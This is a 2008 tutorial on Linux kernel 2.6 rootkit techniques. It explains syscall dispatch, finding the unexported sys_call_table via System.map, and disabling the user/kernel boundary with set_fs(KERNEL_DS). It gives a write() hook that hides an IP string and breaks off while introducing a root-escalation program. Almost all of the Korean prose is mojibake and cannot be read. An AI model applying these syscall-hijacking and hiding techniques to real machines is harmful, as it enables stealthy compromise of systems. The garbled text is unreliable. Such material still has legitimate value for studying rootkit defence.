============================================ Core Rootkit Technology for Linux Kernel 2.6 by hkpco(¹ÚÂù¾Ï) ------------------------------- mail - chanam.park@hkpco.kr homepage - http://hkpco.kr/ date - 2008 ------------------------------- ============================================ ----------------- Table Of Contents ------------------------------------------------------ 0x0. Preface 0x1. What is the sys_call_table 0x2. Past and Current of sys_call_table 0x3. Break Boundary 0x4. Where is the sys_call_table Address - System.map 0x5. Where is the sys_call_table Address - Finding 0x6. Where is the sys_call_table Address - IDT 0x7. Goodbye Write Protection - Kernel API 0x8. Goodbye Write Protection - WP bit in CR0 Register 0x9. Goodbye Write Protection - Page Attribute 0xa. Kernel Module Hiding 0xb. Conclusion ------------------------------------------------------ 0x0. Preface º» ¹®¼­¿¡¼­´Â ¸®´ª½º Ä¿³Î 2.6 ·çƮŶÀÇ ÇÙ½É ±â¼ú¿¡ ´ëÇÏ¿© ¾Ë¾Æ º¼ °ÍÀÔ´Ï´Ù. ¹®¼­ Á¦¸ñÀ» ÀÌ¿Í °°ÀÌ Á¤ÇÑ ÀÌÀ¯´Â ½ÇÁ¦ ¸®´ª½º »óÀÇ Ä¿³Î ·¹º§ ·çƮŶ Á¦ÀÛ°ú °ü·ÃµÈ ¹æ¹ý·ÐÀ» ¼³¸íÇϱâ À§ÇÑ °ÍÀÌ ¾Æ´Õ´Ï´Ù. ¼ö ¸¹Àº ·çƮŶ¿¡´Â Á¤¸»·Î ´Ù¾çÇÑ ±×¸®°í Âü½ÅÇÑ ±â¼úµéÀÌ Ãà¾àµÇ¾î ÀÖÀ¸¸ç ÀÌ·¯ÇÑ ¸ðµç °ÍµéÀÇ ´ë¸í»ç·Î ·çƮŶÀ̶õ ´Ü¾î¸¦ ¼±ÅÃÇÏ°Ô µÇ¾ú½À´Ï´Ù. ÀÌÁ¦ºÎÅÍ ¼Ò°³ ÇÒ ³»¿ëÀº Ä¿³Î ½Ã½ºÅÛ ÄÝ Á¦¾î¿Í °ü·ÃµÈ ±â¹Ý ±â¼ú¿¡ °üÇÑ °ÍÀ̸ç ÀÌ¿¡ ´ëÇÑ ¿©·¯°¡Áö È°¿ë ±â¼úµéÀº ±âÁ¸ ¹®¼­¿¡¼­ ¸¹ÀÌ ¼Ò°³µÇ°í Àֱ⠶§¹®¿¡ ´Ù·çÁö ¾Ê°Ú½À´Ï´Ù. Å×½ºÆ® ȯ°æÀº 32ºñÆ® ¸®´ª½º ½Ã½ºÅÛÀ¸·Î ¹®¼­¸¦ ÅëÇÏ¿© º¸¾È ¿î¿µÃ¼Á¦, Ä¿³Î Ãë¾àÁ¡ ¹æ¾î ¸ðµâ, ·çƮŶ µîÀÇ ´Ù¾çÇÑ ÇÙ½É ±â¼ú·Î Àû¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. 0x1. What is the sys_call_table ¸®´ª½º Ä¿³Î»óÀÇ ½Ã½ºÅÛ ÄÝ Á¦¾î¸¦ À§ÇØ ÀϹÝÀûÀ¸·Î sys_call_tableÀÌ °¡Àå ¸¹ÀÌ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù. ½Ã½ºÅÛ ÄÝ Á¦¾î´Â system call hijacking/hooking/wrapping µîÀÇ ¿ë¾î·Îµµ ºÒ·ÁÁö¸ç, ÁÖ·Î Ä¿³Î¸ðµåÀÇ ·çƮŶ Á¦ÀÛÀ» À§ÇØ ¸¹ÀÌ ÀÌ¿ëµË´Ï´Ù. ÇÏÁö¸¸ ÃÖ±Ù ´ëºÎºÐÀÇ ¸®´ª½º ¹èÆ÷ÆÇÀº Ä¿³Î ·çƮŶÀÇ ¾Ç¿ëÀ» ¸·±â À§ÇØ sys_call_tableÀ» »ç¿ë ÇÒ ¼ö ¾øµµ·Ï °ø°³µÈ ½Éº¼À» Á¦°ÅÇÏ°í ¼û°Ü µÎ¾ú°í ´öºÐ¿¡ ±¸ ¹öÀüÀÇ Ä¿³Î°ú´Â ´Þ¸® Ä¿³Î ¸ðµâ¿¡¼­ sys_call_tableÀ» »ç¿ëÇÒ ¼ö ¾ø°Ô µÇ¾ú½À´Ï´Ù. ½Ã½ºÅÛ ÄÝ Á¦¾î¿¡¼­ sys_call_tableÀ» ÁÖ·Î »ç¿ëÇÏ´Â ÀÌÀ¯´Â ¸®´ª½º ½Ã½ºÅÛ ÄÝ È£Ãâ °úÁ¤À» »ìÆ캸¸é ¾Ë ¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½Àº write() ½Ã½ºÅÛ ÄÝ È£Ãâ ´ç½ÃÀÇ Ã³¸® °úÁ¤À» °£·« ÇÏ°Ô ³ªÅ¸³½ °ÍÀÔ´Ï´Ù. ================================================ / 1 / [ USER ] write() call ------------------------------------------------ / 2 / [ LIBRARY ] . . movl $4, %eax int $0x80 ------------------------------------------------ / 3 / [ IDT ] |0x00| |0x01| . . |0x80| system_call() ------------------------------------------------ / 4 / [ KERNEL ] ENTRY(system_call) . . call *sys_call_table(,%eax,4) ------------------------------------------------ / 5 / [ KERNEL ] #L1ENTRY(sys_call_table) .long sys_restart_syscall .long sys_exit .long sys_fork .long sys_read .long sys_write . . ================================================ ¸ÕÀú »ç¿ëÀÚ°¡ write() ½Ã½ºÅÛ ÄÝÀ» È£ÃâÇÏ¸é ¶óÀ̺귯¸®¿¡¼­ ÇØ´ç ½Ã½ºÅÛ ÄÝ ¹øÈ£¸¦ %eax ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÑ µÚ 0x80¹ø ÀÎÅÍ·´Æ®¸¦ ¹ß»ý½Ãŵ´Ï´Ù. ±× ´ÙÀ½ IDT table¿¡¼­ 0x80 ¹ø°¿¡ À§Ä¡ÇÑ system_call() ÇÔ¼ö¸¦ È£Ãâ ÇÏ°ÔµÇ¸ç ¸î °¡Áö ±âº»ÀûÀΠó¸® °úÁ¤À» Áö³­ ´ÙÀ½ `call *sys_call_table(,%eax,4)` ¸í·ÉÀ» ¼öÇàÇÕ´Ï´Ù. ÀÌ°ÍÀº sys_call_table¿¡¼­ %eax*4 ¹ø° ÁÖ¼Ò¸¦ ã¾Æ ½ÇÇàÇ϶ó´Â ¶æÀÌ¸ç ¿©±â¼­ %eax ·¹Áö½ºÅÍ¿¡´Â ¿ì¸®°¡ È£ÃâÇÑ ½Ã½ºÅÛ ÄÝ ¹øÈ£°¡ ÀúÀå µÇ¾î ÀÖ½À´Ï´Ù. %eax ·¹Áö½ºÅÍ¿¡ 4¸¦ °öÇÑ ÀÌÀ¯´Â sys_call_tableÀÇ µ¥ÀÌÅÍ°¡ .long ÇüÅ·ΠÁ¤ÀǵǾî Àֱ⠶§¹®Àε¥ º» ¹®¼­¿¡¼­´Â 32ºñÆ® ½Ã½ºÅÛÀ» ±âÁØÀ¸·Î ¼³¸íÇÏ°í ÀÖÀ¸¹Ç·Î .longÀº 4byte°¡ µÇ¸ç °á°úÀûÀ¸·Î ½Ã½ºÅÛ ÄÝ ÁÖ¼Ò°¡ ÀúÀåµÇ¾î ÀÖ´Â °£°Ý¶ÇÇÑ 4byte°¡ µË´Ï´Ù. Áï, "N"¹ø° ½Ã½ºÅÛ ÄÝÀ» È£ÃâÇϱâ À§Çؼ­´Â ÇØ´ç ½Ã½ºÅÛ ÄÝ ¹øÈ£ÀÇ 4¹è¼ö¸¦ ÇØÁÖ¾î¾ß Çϸç ÀÌ °úÁ¤À» ´Ù½ÃÇѹø °£´ÜÈ÷ Á¤¸®ÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------------------------------------------- 1. write() ½Ã½ºÅÛ ÄÝ È£Ãâ 2. ÇØ´ç ½Ã½ºÅÛ ÄÝ ¹øÈ£¸¦ eax ·¹Áö½ºÅÍ¿¡ ÀúÀå 3. 0x80¹ø ÀÎÅÍ·´Æ® ¹ß»ý 4. IDT table¿¡¼­ 0x80¹ø°¿¡ ÇØ´çÇÏ´Â system_call() ÇÔ¼ö¸¦ È£Ãâ 5. sys_call_table¿¡¼­ eax ·¹Áö½ºÅÍ¿¡ ÀúÀåµÈ ¿ÀÇÁ¼Â¿¡ ÇØ´çÇÏ´Â sys_write() ÇÔ¼ö¸¦ È£Ãâ ------------------------------------------------------------------------------------- °á±¹, ½Ã½ºÅÛ ÄÝ È£Ã⠽à sys_call_tableÀ» ÂüÁ¶ÇÏ´Â °úÁ¤ ´öºÐ¿¡ ÀϹÝÀûÀ¸·Î Ä¿³Î ·çƮŶ µî¿¡¼­ sys_call_tableÀÇ Á¶ÀÛÀÌ ´ëºÎºÐÀ» Â÷ÁöÇÏ°í ÀÖ½À´Ï´Ù. 0x2. Past and Current of sys_call_table ±¸ ¹öÀüÀÇ Ä¿³Î¿¡¼­´Â sys_call_tableÀÌ ¾î¶»°Ô »ç¿ë °¡´ÉÇÏ¿´°í ƯÁ¤ ¹öÀü ÀÌ»óÀÇ Ä¿³Î¿¡¼­´Â ¿Ö »ç¿ëÇÒ ¼ö ¾ø°Ô µÇ¾ú´ÂÁö¿¡ ´ëÇØ ¾Ë¾Æº¸°Ú½À´Ï´Ù. sys_call_tableÀÇ »ç¿ë ¿©ºÎ´Â ¹èÆ÷ÆÇ µî¿¡ µû¶ó °¡º¯ÀûÀÏ ¼ö Àֱ⠶§¹®¿¡ º» ¹®¼­¿¡¼­ Ä¿³Î ¹öÀüÀ» ÅëÇÑ ±¸ºÐÀº Çü½ÄÀûÀ¸·Î³ª¸¶ ·¹µåÇÞÀ» ±âÁØÀ¸·Î ÇÏ°Ú½À´Ï´Ù. ¿ì¼± kernel 2.4.18 ÀÌÇÏ ¹öÀüÀÇ sys_call_tableÀº ´ÙÀ½°ú °°ÀÌ Á¤ÀÇ µÇ¾îÀֱ⠶§¹®¿¡ ¸ðµâ°£ÀÇ »óÈ£ ÂüÁ¶°¡ °¡´ÉÇÕ´Ï´Ù. ------------------------------------ /usr/src/linux-2.4.34/kernel/ksyms.c ------------------------------------ . . extern void *sys_call_table; . . EXPORT_SYMBOL(sys_call_table); ------------------------------------ ¿©±â¼­ EXPORT_SYMBOL() ¸ÅÅ©·Î´Â Ä¿³Î ½Éº¼À» °ø°³½ÃÄѼ­ ¿ÜºÎ ¸ðµâ¿¡¼­µµ ½Éº¼ ÂüÁ¶°¡ °¡´ÉÇÏ°Ô ÇÏ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. ¸¸¾à ÇØ´ç ¸ÅÅ©·Î¸¦ »ç¿ëÇÏÁö ¾ÊÀ¸¸é ½Éº¼ÀÌ °ø°³µÇÁö ¾Ê°ÔµÇ¹Ç·Î ¿ÜºÎ ¸ðµâ¿¡¼­ sys_call_tableÀ» »ç¿ëÇÒ ¼ö ¾øÁö¸¸ ÀÌ´Â kernel 2.4.14 ¹öÀü À̻󿡼­ Àû¿ëµÇ´Â »çÇ×ÀÌ°í kernel 2.4.14 ¹Ì¸¸¿¡¼­´Â ¸ÅÅ©·Î »ç¿ë À¯¹«¿¡ °ü°è¾øÀÌ ±âº»ÀûÀ¸·Î ½Éº¼ÀÌ ¿ÜºÎ·Î °ø°³µË´Ï´Ù. ¾î¶µç, À§¿Í °°Àº ¼±¾ðÀ¸·Î ÀÎÇÏ¿© ¿ì¸®°¡ ÀÛ¼ºÇÑ ÀÓÀÇÀÇ ¸ðµâ¿¡¼­µµ sys_call_tableÀÇ »ç¿ëÀÌ °¡´ÉÇÑ °ÍÀε¥ °¢ ½Ã½ºÅÛ¸¶´Ù Â÷ÀÌ°¡ Àֱ⠶§¹®¿¡ Ä¿³Î ¹öÀüÀÌ kernel 2.4.14 ¹Ì¸¸À̶ó°í Çؼ­ ¸ðµç ½Ã½ºÅÛ¿¡ ÇØ´çµÇ´Â »çÇ×Àº ¾Æ´Õ´Ï´Ù. sys_call_tableÀÇ ½Éº¼ÀÌ °ø°³µÈ Ä¿³Î ¹öÀü¿¡¼­´Â ´ÙÀ½°ú °°ÀÌ ¼±¾ðÇÏ¿© »ç¿ëÀÌ °¡´ÉÇÕ´Ï´Ù. ------------------------------ extern void *sys_call_table[]; ------------------------------ ÇÏÁö¸¸, kernel 2.4.14 À̻󿡼­´Â ½Éº¼À» °ø°³ÇÏÁö ¾Ê°í Àֱ⠶§¹®¿¡ ÀϹÝÀûÀÎ ¹æ¹ýÀ¸·Î´Â ¿ÜºÎ ¸ðµâ¿¡¼­ sys_call_tableÀ» »ç¿ëÇÒ ¼ö ¾ø´Â°ÍÀÌ Ä¿³Î °³¹ßÀÚÀÇ ÀǵµÀÌÁö¸¸ º» ¹®¼­¿¡¼­´Â ¿©±â¿¡ ´ëÇÑ ÇØ°á ¹æ¹ýÀ» ¾Ë¾Æ º¼ °ÍÀÔ´Ï´Ù. 0x3. Break Boundary º»°ÝÀûÀ¸·Î ½Ã½ºÅÛ ÄÝ Á¦¾î¿¡ ´ëÇÑ ±â¼úÀ» ¾Ë¾Æº¸±â Àü¿¡ Ä¿³Î ¸ðµâ ÇÁ·Î±×·¡¹Ö ¶Ç´Â ·çƮŶ Á¦ÀÛ µî¿¡¼­ Ç×»ó °í·ÁÇØ ÁÖ¾î¾ß ÇÏ´Â Ä¿³Î ¿µ¿ª(Kernel space)°ú »ç¿ëÀÚ ¿µ¿ª(User space)ÀÇ °æ°è¿¡ ´ëÇØ °£·«È÷ »ìÆ캸°í, ±»ÀÌ ¿©±â¿¡ ´ëÇØ ½Å°æ¾²Áö ¾Ê°íµµ ¹®Á¦ ¾øÀÌ ÄÚµù ÇÒ ¼ö ÀÖ´Â ¹æ¹ý¿¡ ´ëÇØ Â¤°í ³Ñ¾î°¡°Ú½À´Ï´Ù. ½Ã½ºÅÛ ÄÝ Á¦¾î, ȤÀº ¾ÇÀÇÀûÀÎ ¸ñÀûÀÇ ·çƮŶ Á¦ÀÛ ½Ã °¡Àå ºó¹øÇÏ°Ô »ç¿ëµÇ´Â ÇÔ¼ö´Â copy_to_user(), copy_from_user()¿Í °°Àº Ä¿³Î ¿µ¿ª°ú »ç¿ëÀÚ ¿µ¿ª »çÀÌÀÇ µ¥ÀÌÅÍ ±³È¯ ÇÔ¼öÀÏ °ÍÀÔ´Ï´Ù. ÃÑ 4GÀÇ ÁÖ¼Ò ¿µ¿ª Áß Ä¿³Î ¿µ¿ªÀº 1G, »ç¿ëÀÚ ¿µ¿ªÀº 3G¸¦ ÇÒ´ç ¹Þ´Âµ¥ °¢ ¿µ¿ª¿¡¼­ ´Ù¸¥ ¿µ¿ªÀ» Á÷Á¢ÀûÀ¸·Î Á¢±Ù ÇÒ ¼ö ¾ø±â ¶§¹®¿¡ Ä¿³Î ¸ðµâ¿¡¼­´Â copy_to_user(), get_user(), put_user()°ú °°Àº ÇÔ¼ö¸¦ ÅëÇÏ¿© µ¥ÀÌÅ͸¦ ±³È¯ÇÏ´Â ¹æ½ÄÀ» ÁÖ·Î »ç¿ëÇÕ´Ï´Ù. ¾Æ·¡´Â ÀÌ µÎ ¿µ¿ªÀ» °£´ÜÈ÷ µµ½ÄÈ­ ÇÑ °ÍÀÔ´Ï´Ù. [0xffffffff]============ Kernel Space [0xc0000000]------------ <- boundary User Space [0x00000000]============ ·çƮŶÀ» À§ÇÑ ½Ã½ºÅÛ ÄÝ hijacking ÇÔ¼ö¸¦ ÀÛ¼ºÇÑ´Ù°í °¡Á¤ÇÏ°í °£´ÜÇÑ ¿¹Á¦ Äڵ带 º¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------ 1 | asmlinkage ssize_t hk_write( int fd, const void *buf, size_t count ) 2 | { 3 | char *k_buf = (char *)kmalloc( 128 , GFP_KERNEL ); 4 | copy_from_user( k_buf , buf , 9 ); 5 | 6 | if(!strcmp( k_buf , "127.0.0.1" )) 7 | { 8 | kfree(k_buf); 9 | printk( KERN_ALERT "hacker ip removed.\n" ); 10| return orig_write( fd , "i love you" , 10 ); 11| } 12| 13| return orig_write( fd , buf , count ); 14| } ------------------------------------------------------------------------ write() ½Ã½ºÅÛ ÄÝÀÇ µÎ ¹ø° ÀÎÀÚ¸¦ °Ë»çÇÏ¿© ƯÁ¤ ¾ÆÀÌÇÇ(127.0.0.1)¿Í ÀÏÄ¡Çϸé "i love you" ¹®ÀÚ¿­·Î µÎ ¹ø° ÀÎÀÚ¸¦ º¯°æÇÏ¿© ¸®ÅÏÇÏ´Â ÇÔ¼öÀÔ´Ï´Ù. 3-4 ¹ø° ¶óÀο¡¼­ kmalloc() ÇÔ¼ö·Î Ä¿³Î ¿µ¿ª ¸Þ¸ð¸®¸¦ ÇÒ´ç¹ÞÀº µÚ copy_from_user() ÇÔ¼ö¸¦ ÅëÇÏ¿© »ç¿ëÀÚ ¿µ¿ª¿¡ Á¸ÀçÇÏ´Â bufº¯¼öÀÇ µ¥ÀÌÅ͸¦ Ä¿³Î ¿µ¿ªÀÇ k_buf·Î º¹»çÇÕ´Ï´Ù. º¹»çµÈ µ¥ÀÌÅ͸¦ »ç¿ëÇÑ ´ÙÀ½ 8¹ø° ¶óÀο¡¼­ kfree() ÇÔ¼ö·Î ÇÒ´ç µÈ ¿µ¿ªÀ» ÇØÁ¦ÇÑ ´ÙÀ½ Á¤»óÀûÀÎ ½Ã½ºÅÛ ÄÝÀÎ orig_write()¸¦ È£ÃâÇÕ´Ï´Ù. ÇÏÁö¸¸ ¿ì¸®°¡ È£ÃâÇÑ orig_write() ½Ã½ºÅÛ ÄÝÀÇ µÎ ¹ø°, ¼¼ ¹ø° ÀÎÀÚ´Â »ç¿ëÀÚ ¿µ¿ªÀÇ µ¥ÀÌÅÍ°¡ ¾Æ´Ï±â ¶§¹®¿¡ "i love you" ¹®ÀÚ¿­Àº Ãâ·ÂµÇÁö ¾Ê°í Bad Address¸¦ ³ªÅ¸³»´Â -EFAULT °¡ ¹ÝȯµË´Ï´Ù.( ¼Ò½º ÄÚµåÀÇ asmlinkage¿¡ ´ëÇؼ­´Â µÚ¿¡¼­ ´Ù½Ã ¼³¸íÇÏ°Ú½À´Ï´Ù. ) ÀÌ·¸µí, ¸ðµâ ÇÁ·Î±×·¡¹Ö¿¡¼­ °¢ ¿µ¿ªÀÇ °æ°è¸¦ °í·ÁÇÏ´Â °ÍÀº ¸Å¿ì ±ÍÂú°í ±î´Ù·Î¿î ÀÏÀÔ´Ï´Ù. Ä¿³Î ¿µ¿ª°ú »ç¿ëÀÚ ¿µ¿ªÀÇ °æ°è´Â ½º·¹µå Á¤º¸¸¦ ´ã°íÀÖ´Â thread_info ±¸Á¶Ã¼ ÇʵåÀÎ addr_limitÀ» ÀÌ¿ëÇÏ¿© ±¸ºÐ Áö¾îÁý´Ï´Ù. addr_limit Çʵ忡´Â µÎ ¿µ¿ªÀÇ °æ°è°¡ µÇ´Â ÁÖ¼Ò °ªÀÌ ÀúÀåµÇ¾î ÀÖÀ¸¸ç, ´ÙÀ½°ú °°ÀÌ ¼±¾ðµÇ¾î ÀÖ½À´Ï´Ù. ------------------------------------ linux/include/asm-i386/thread_info.h ------------------------------------ struct thread_info { . . mm_segment_t addr_limit; . . }; ------------------------------------ addr_limitÀÇ ±âº» °ªÀº Ä¿³Î ¿µ¿ª°ú »ç¿ëÀÚ ¿µ¿ªÀÇ °æ°èÀÎ 0xc0000000·Î Á¤ÇØÁ® ÀÖ½À´Ï´Ù. ¿©±â¼­ ¸¸¾à addr_limitÀÇ °ªÀ» º¯°æÇÒ ¼ö ÀÖ´Ù¸é ÇöÀç ½º·¹µåÀÇ °æ°è ¿µ¿ªµµ ÇÔ²² º¯ÇÒ °ÍÀ̸ç, ÀÌ·¯ÇÑ ÀÛ¾÷Àº set_fs() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¸é °¡´ÉÇÕ´Ï´Ù. ´ÙÀ½Àº set_fs() ¸ÅÅ©·Î¸¦ Á¤ÀÇÇÏ°í ÀÖ´Â uaccess.hÀÇ ÀϺÎÀÔ´Ï´Ù. -------------------------- include/asm-i386/uaccess.h ----------------------------------------------------------------------------- 16| /* 17| * The fs value determines whether argument validity checking should be 18| * performed or not. If get_fs() == USER_DS, checking is performed, with 19| * get_fs() == KERNEL_DS, checking is bypassed. 20| * 21| * For historical reasons, these macros are grossly misnamed. 22| */ 23| 24| #define MAKE_MM_SEG(s) ((mm_segment_t) { (s) }) 25| 26| 27| #define KERNEL_DS MAKE_MM_SEG(0xFFFFFFFFUL) 28| #define USER_DS MAKE_MM_SEG(PAGE_OFFSET) 29| 30| #define get_ds() (KERNEL_DS) 31| #define get_fs() (current_thread_info()->addr_limit) 32| #define set_fs(x) (current_thread_info()->addr_limit = (x)) ----------------------------------------------------------------------------- ÁÖ¼®¿¡¼­µµ ¼³¸íÇϵíÀÌ set_fs() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¿© USER_DS(0xC0000000)·Î ¼±¾ð µÈ addr_limitÀÇ °ªÀ» KERNEL_DS(0xFFFFFFFF)·Î º¯°æÇØ ÁÖ¸é µÎ ¿µ¿ªÀÇ °æ°è´Â ¸Þ¸ð¸®ÀÇ ³¡ºÎºÐÀÌ µÇ¾î »ç½Ç»ó °æ°è¶ó´Â °³³äÀÌ »ç¶óÁö°Ô µË´Ï´Ù. °æ°è °ª º¯°æ µÚ¿¡´Â °¢ ¿µ¿ªÀÇ µ¥ÀÌÅ͸¦ ±³È¯ÇÏ´Â copy_from_user() µîÀÇ ÇÔ¼ö¸¦ »ç¿ëÇÒ ÇÊ¿ä°¡ ¾øÀ¸¸ç Ä¿³Î°ú »ç¿ëÀÚ ¿µ¿ªÀ» ½Å°æ¾²Áö ¾Ê°í ÄÚµùÇÒ ¼ö ÀÖ½À´Ï´Ù. Ãß°¡·Î get_ds() ¸ÅÅ©·Î´Â KERNEL_DS¸¦, get_fs() ¸ÅÅ©·Î´Â ÇöÀç addr_limitÀÇ °ªÀ» ÀǹÌÇÕ´Ï´Ù. ´ÙÀ½Àº set_fs() ¸ÅÅ©·Î¸¦ ÅëÇØ µÎ ¿µ¿ªÀÇ °æ°è¸¦ º¯°æÇÏ¿© ·çƮŶÀ» À§ÇÑ ½Ã½ºÅÛ ÄÝ hijacking ÇÔ¼ö¸¦ À籸¼ºÇÑ °ÍÀÔ´Ï´Ù. ------------------------------------------------------------------------ 1 | asmlinkage ssize_t hk_write( int fd, const void *buf, size_t count ) 2 | { 3 | set_fs(KERNEL_DS); 4 | 5 | if(!strcmp( buf , "127.0.0.1" )) 6 | { 7 | printk( KERN_ALERT "hacker ip removed.\n" ); 8 | return orig_write( fd , "i love you" , 10 ); 9 | } 10| 11| return orig_write( fd , buf , count ); 12| } ------------------------------------------------------------------------ óÀ½¿¡ ¼³¸íÇß´ø hijacking ÇÔ¼ö ÄÚµå¿Í´Â ´Þ¸® kmalloc()¸¦ ÅëÇÑ ¸Þ¸ð¸® ¿µ¿ªÀÇ ÇÒ´ç°ú copy_from_user() ÇÔ¼öÀÇ »ç¿ëÀÌ ÇÊ¿äÇÏÁö ¾Ê°Ô µÇ¾ú½À´Ï´Ù. ±×¸®°í ÀÌÀü¿¡´Â "i love you"¿Í »ó¼ö 10ÀÌ »ç¿ëÀÚ ¿µ¿ªÀÇ µ¥ÀÌÅÍ°¡ ¾Æ´Ï¾ú±â ¶§¹®¿¡ Á¦´ë·Î µ¿ÀÛÇÏÁö ¾Ê¾ÒÁö¸¸, set_fs() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¿© °æ°è °ªÀ» ¹Ù²Û µÚ¿¡´Â ¿À·ù¾øÀÌ Àß µ¿ÀÛÇÏ°Ô µË´Ï´Ù. ¿¹Á¦·Î ¼³¸íÇÑ °Í ó·³ ·çƮŶÀÇ Á¦ÀÛ¿¡¼­´Â set_fs() ¸ÅÅ©·Î¸¸ »ç¿ëÇÏ¸é µÇÁö¸¸ ÀϹÝÀûÀÎ ¸ðµâÀ» ÀÛ¼ºÇÒ ¶§¿¡´Â ´ÙÀ½°ú °°ÀÌ ÇÊ¿ä ½Ã¿¡¸¸ °æ°è¸¦ Àá½Ã º¯°æÇÏ°í »ç¿ë ÈÄ¿¡´Â ´Ù½Ã º¹±¸ÇØ ÁÖ¾î¾ßÇÕ´Ï´Ù. ------------------------------ mm_segment_t fs = get_fs(); // get_fs() == USER_DS set_fs(get_ds()); // get_ds() == KERNEL_DS ... working ... set_fs(fs); ------------------------------ ºñ·Ï set_fs() ¸ÅÅ©·Î¸¦ ÀÌ¿ëÇÏ¿© Ä¿³Î ¿µ¿ª°ú »ç¿ëÀÚ ¿µ¿ªÀ» ½Å°æ¾²Áö ¾Êµµ·Ï º¯°æÇÏ¿© ÄÚµùÇÏ´Â °ÍÀº Æí¸®ÇÏÁö¸¸ »ç½Ç»ó µÎ ¿µ¿ªÀÇ °æ°è°¡ »ç¶óÁö´Â °ÍÀ̱⠶§¹®¿¡ ÀÏ¹Ý »ç¿ëÀÚ°¡ ¼Õ½±°Ô Ä¿³Î ¿µ¿ª¿¡ Á¢±ÙÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ÀÌ´Â ½É°¢ÇÑ º¸¾È»óÀÇ ¹®Á¦Á¡°ú Á÷°á µÉ ¼ö ÀÖÀ¸¹Ç·Î ·çƮŶÀÌ ¾Æ´Ñ °³¹ß°ú °°Àº ¸ñÀûÀ¸·Î´Â µÇµµ·Ï ³²¿ëÇÏÁö ¾Ê´Â °ÍÀÌ ÁÁ½À´Ï´Ù. 0x4. Where is the sys_call_table Address - System.map ½Éº¼ÀÌ ¼û°ÜÁø sys_call_tableÀ» »ç¿ëÇÏ´Â ¹æ¹ýÀº »ç¿ëÀÚ°¡ ÀÓÀÇ·Î ¼±¾ðÇÑ º¯¼ö¸¦ ½ÇÁ¦ sys_call_tableÀÇ ½Éº¼ ÁÖ¼Ò °ªÀ¸·Î ÇÒ´çÇØ ÁÖ´Â °ÍÀÔ´Ï´Ù. ¾Æ·¡´Â °ø°³ µÈ ½Éº¼ÀÇ Á¤º¸¸¦ ´ã°í ÀÖ´Â /proc/kallsymsÀÇ Ãâ·Â °á°úÀÔ´Ï´Ù. ---------------------------------------------------------- [root@localhost kernel]# cat /proc/kallsyms c0100294 T _stext c0100294 T stext c01002a0 t rest_init c01002bb t do_pre_smp_initcalls c01002ca t run_init_process c01002f3 t init c0100490 t try_name c0100667 T name_to_dev_t c0100908 T calibrate_delay c0100a90 T hard_smp_processor_id . . . c023cef8 U bus_register [scsi_mod] bdbfc56b a __crc___scsi_iterate_devices [scsi_mod] c4864728 T scsi_get_host_dev [scsi_mod] 3697d50f a __crc_scsi_nonblockable_ioctl [scsi_mod] c485dda8 T scsi_set_medium_removal [scsi_mod] c024336a U blk_init_queue [scsi_mod] ---------------------------------------------------------- kernel 2.6.x¿¡¼­ sys_call_tableÀº °ø°³µÈ ½Éº¼ÀÌ ¾Æ´Ï±â ¶§¹®¿¡ ´ÙÀ½°ú °°ÀÌ °Ë»öÇصµ ãÀ» ¼ö ¾ø½À´Ï´Ù. ----------------------------------------------------------------- [root@localhost kernel]# cat /proc/kallsyms | grep sys_call_table [root@localhost kernel]# ----------------------------------------------------------------- ÇÏÁö¸¸ Ä¿³Î ÄÄÆÄÀÏ ½Ã »ý¼ºµÇ´Â System.map ÆÄÀÏ¿¡´Â ºñ°ø°³ ½Éº¼À» Æ÷ÇÔÇÑ ¸ðµç Ä¿³Î ½Éº¼ÀÇ Á¤º¸¸¦ ´ã°í Àֱ⠶§¹®¿¡ À̸¦ ÀÌ¿ë Çؼ­ sys_call_tableÀÇ ÁÖ¼Ò °ªÀ» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù. ÇØ´ç ÆÄÀÏÀº /boot µð·ºÅ丮¿¡ "System.map-Ä¿³Î¹öÀü"ÀÇ ÇüÅ·ΠÁ¸ÀçÇÕ´Ï´Ù. ´ÙÀ½Àº System.mapÀÇ Ãâ·Â °á°úÀÔ´Ï´Ù. ------------------------------------------------------------------ [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp 00000400 A __kernel_vsyscall 00000410 A SYSENTER_RETURN_OFFSET 00000420 A __kernel_sigreturn 00000440 A __kernel_rt_sigreturn c0100000 A _text c0100000 T startup_32 c0100068 T startup_32_smp c0100123 t checkCPUtype c01001a4 t is486 c01001ab t is386 . . . c049a5ac b unix_sysctl_header c049a5b0 b packet_sklist c049a5b4 b packet_socks_nr c049a5b8 A __bss_stop c049a5b8 A _end c049b000 A pg0 ------------------------------------------------------------------ System.map¿¡´Â ºñ°ø°³ ½Éº¼ÀÇ Á¤º¸±îÁö Æ÷ÇÔÇÏ°í Àֱ⠶§¹®¿¡ ´ÙÀ½°ú °°ÀÌ sys_call_table¿¡ ´ëÇÑ Á¤º¸¸¦ ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. ---------------------------------------------------------------------------------------- [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep sys_call_table c035babc D sys_call_table ---------------------------------------------------------------------------------------- À§ °á°ú¸¦ ÅëÇØ sys_call_tableÀÇ ÁÖ¼Ò´Â "0xc035babc"¶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖÀ¸¸ç ¿©±â¼­ D´Â data¿µ¿ªÀÇ ÃʱâÈ­µÈ º¯¼ö¸¦ ÀǹÌÇÕ´Ï´Ù. ÀÌ·¸°Ô ãÀº sys_call_tableÀÇ ÁÖ¼Ò¸¦ Àû¿ëÇÏ¿© ½Ã½ºÅÛ ÄÝÀÇ Á¦¾î°¡ °¡´ÉÇÑÁö °£´ÜÇÑ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿© È®ÀÎÇØ º¸°Ú½À´Ï´Ù. ƯÁ¤ Á¶°ÇÀ» ¸¸Á·Çϸé ÇöÀç ÇÁ·Î¼¼½º¸¦ ·çÆ® ±ÇÇÑÀ¸·Î º¯°æÇØ ÁÖ´Â 